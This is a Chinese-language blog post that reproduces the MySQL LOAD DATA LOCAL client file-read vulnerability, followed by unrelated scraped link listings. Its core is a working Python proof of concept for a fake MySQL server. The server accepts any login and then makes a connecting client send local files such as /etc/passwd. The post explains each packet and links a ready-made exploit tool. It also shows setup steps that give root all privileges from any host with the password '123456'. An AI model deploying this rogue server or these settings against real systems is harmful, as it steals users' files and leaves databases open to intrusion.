Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)
环境搭建
怎么设置Mysql支持外联?
use mysql;
grant all privileges on *.* to
root@'%' identified by '密码'; //授权语句
flush privileges; //刷新配置
MAC上设置Mysql环境允许外联
use mysql;
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456'; //这一步是因为有的Mysql客户端是没有mysql_native_password这个模块的防止连接不上
update user set host = "%" where user = "root";
flush privileges;
这个只是暂时作为备忘,权当一个知识点,哈哈
漏洞复现
- LOAD DATA INFILE
load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
第一种是读取服务器上的文件内容存入表中,第二个是读取客户端中的文件内容存入表中(显然我们应该利用的是第二种)
- 漏洞分析
使用tcpdump将3306的包内容保存成为cap格式用wireshark打开分析登录过程
tcpdump -i lo1 port 3306 -w test.cap. // 这里面要监听本地网卡,一定是本地的,不然抓取的tcp包是空的
mysql -u root -p
服务端向客户端发送greeting包和服务器的一些banner信息

以及一些设置

显然LOAD DATA LOCAL被设置了

客户端发送登录请求,包含用户名与LOAD DATA LOCAL有关信息

接着发送了一系列的查询请求

接着客户端发送一个查询包后,我们返回的是一个Response TABULAR包

内容是要读取文件的绝对路径

之后再下一个客户端的包中,我们真的可以得到内容

思路整理
由分析可知,客户端在连接Mysql服务端的时候,若是在发送查询包后(Mysql连接都时候就会有初始化查询,换句话说只要连接到我们,我们就可以发送Paylaod),我们返回客户端文件的绝对路径,客户端就会把文件内容发送过来(只要我们发送的包是标准的Mysql协议,这些在Mysql的官方文件都是有的).
我本地MAC的Mysql就不行(版本是8.0.17,因为不会发送查询语句)
用了windows的Phpstudy试了一下,还是可以的

POC分析(伪造Mysql服务端)
#!/usr/bin/python
#coding: utf8
import socket
# linux :
#filestring = "/etc/passwd"
# windows:
#filestring = "C:\Windows\system32\drivers\etc\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024
#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
#数据包长度
payloadlen = "\x0c"
padding = "\x00\x00"
payload = payloadlen + padding + "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()
- 第一步
客户端发送请求数据包
服务端发送Mysql的Greet与banner信息
看一看关于脚本是怎么构造的
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"

可以看见服务器这边是直接写死的东西(伪造的是Ubuntu主机).
另外这个greeting的包是有一定格式的,这里面直接粘贴的是大佬们的格式
- 第二步
客户端发送认证请求(用户名与密码)
这里面我们当然要保证无论输入什么密码都是可以的
这个是脚本中的认证成功后发送的包
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
- 之后就等待用户发送query包,我们返回请求客户端文件的paylaod语句
值得一提这个包是有一定格式的
我们在wireshark中可以看到

至于为什么是12个字节(/etc/passwd是11个字节),猜测是后面有\x00的存在
- 第四步获取到信息
没啥好说的直接输出就行了
利用的exp
https://github.com/Gifts/Rogue-MySql-Server
原本是想自己写的,但是emmmm,不说了,写了好久还没有写出来
Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)的更多相关文章
- MySQL LOAD DATA INFILE—批量从文件(csv、txt)导入数据
最近做的项目,有个需求(从Elastic Search取数据,业务运算后),每次要向MySQL插入1300万数据左右.最初用MySQL的executemany()一次插入10000条数据,统计的时间如 ...
- 解决ubuntu server mysql load data infile 导入本地文件ERROR 1148 (42000)错误。
问题:在ubuntu server 上使用apt-get 安装完 mysql 使用 load data infile 出现错误,错误代码如下: ERROR (): The used command i ...
- mysql load data infile的使用 和 SELECT into outfile备份数据库数据
LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name.txt' [REPLACE | IGNORE] INTO TABLE t ...
- MySQL Load Data InFile 数据导入数据库
常用如下: Load Data InFile 'C:/Data.txt' Into Table `TableTest` Lines Terminated By '\r\n'; 这个语句,字段默认用制表 ...
- Mysql load data infile 导入数据出现:Data truncated for column
[1]Mysql load data infile 导入数据出现:Data truncated for column .... 可能原因分析: (1)数据库表对应字段类型长度不够或修改为其他数据类型( ...
- ZK中使用JS读取客户端txt文件内容问题
最近写一个需求时遇到一个问题,用户需要通过点击一个按钮直接读取他自己电脑上D盘的一个txt文件内容显示到页面,因为项目现在是用ZK写的.我对于ZK也是刚刚了解不就,很多都还不是很熟.起初我是想用io流 ...
- 营销MM让我讲MySQL日志顺序读写及数据文件随机读写原理
摘要:你知道吗,MySQL在实际工作时候的两种数据读写机制? 本文分享自华为云社区<MySQL日志顺序读写及数据文件随机读写原理>,作者:JavaEdge . MySQL在实际工作时候的两 ...
- 【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析
Weblogic CVE-2017-10271 漏洞复现&&流量分析 Weblogic CVE-2017-10271 XMLDecoder反序列化 1.Weblogic-XMLDeco ...
- Junit 注解 类加载器 .动态代理 jdbc 连接池 DButils 事务 Arraylist Linklist hashset 异常 哈希表的数据结构,存储过程 Map Object String Stringbufere File类 文件过滤器_原理分析 flush方法和close方法 序列号冲突问题
Junit 注解 3).其它注意事项: 1).@Test运行的方法,不能有形参: 2).@Test运行的方法,不能有返回值: 3).@Test运行的方法,不能是静态方法: 4).在一个类中,可以同时定 ...
随机推荐
- 【Shell】ps -ef 和ps aux
两者没太大差别 追溯到Unix系统中的两种风格,System V风格和BSD 风格,ps aux最初用到Unix Style中,而ps -ef被用在System V Style中,两者输出略有不同.现 ...
- pycharm 代码无法自动补全(自动顺带)的解决方法
pycharm 中输入关键字等,代码不能自动补全,这种情况一般是pycharm设置了省电模式 点击 File —Power Save Mode,取消勾选 再次输入,代码可以自动顺带出来了
- iconfont字体图标的使用方法
转载于https://www.cnblogs.com/hjvsdr/p/6639649.html 我之前因为项目用bootstrap比较多,所以使用font awesome字体图标比较多,后来接触到了 ...
- python 反转列表的3种方式
转载自:https://blog.csdn.net/bookaswine/article/details/42468735 方式一:使用reversed()函数 a=[1,2,3,4,5,6,7,8, ...
- CSS 随记
伪类选择符的顺序:L-V-H-A CSS提供了四种元素设置链接的颜色,包括:link.:visited.:hover.:active,它们的声明是有一定顺序的,我们简称这种顺序为L-V-H-A,即li ...
- jQuery 删除行(带跨行的表格)
jQuery 删除行(带跨行的表格) 实现效果,点击删除按钮后,在保证原来表格结构的基础上,移除当前行. 代码原理: 1.点击行后判断当前行的第一个<td>,是否包含rowspan属性,如 ...
- Springboot的Mybatis逆向工程
1.pom.xml添加mybatis和逆向插件依赖: <dependency> <groupId>org.mybatis.spring.boot</groupId> ...
- 第一记 搭建Java集成开发环境
一.JDK JDK可以前往oracle官网进行下载并进行安装(我这边使用的是jdk1.8版本,也推荐使用jdk1.8及以上的) 下图是默认路径安装完成后的截图 安装完成会产生这两个文件夹 二.配置环境 ...
- 在mac版virtual box中安装ubuntu虚拟机的NAT/Host-Only网络配置踩坑记录
之前用惯了vmware和parallels desktop,网络配置十分智能,基本不用自己配置.由于版权原因,工作电脑上换了免费的virtual box用,四五年都完全在虚拟机里干活的本菜鸡居然在虚拟 ...
- MySQL-技术专区-mysql数据库权限管理
登入root账户 mysql -u root -p 查看所有用户 select host,user from mysql.user; 查看某个用户的权限: show grants for user ...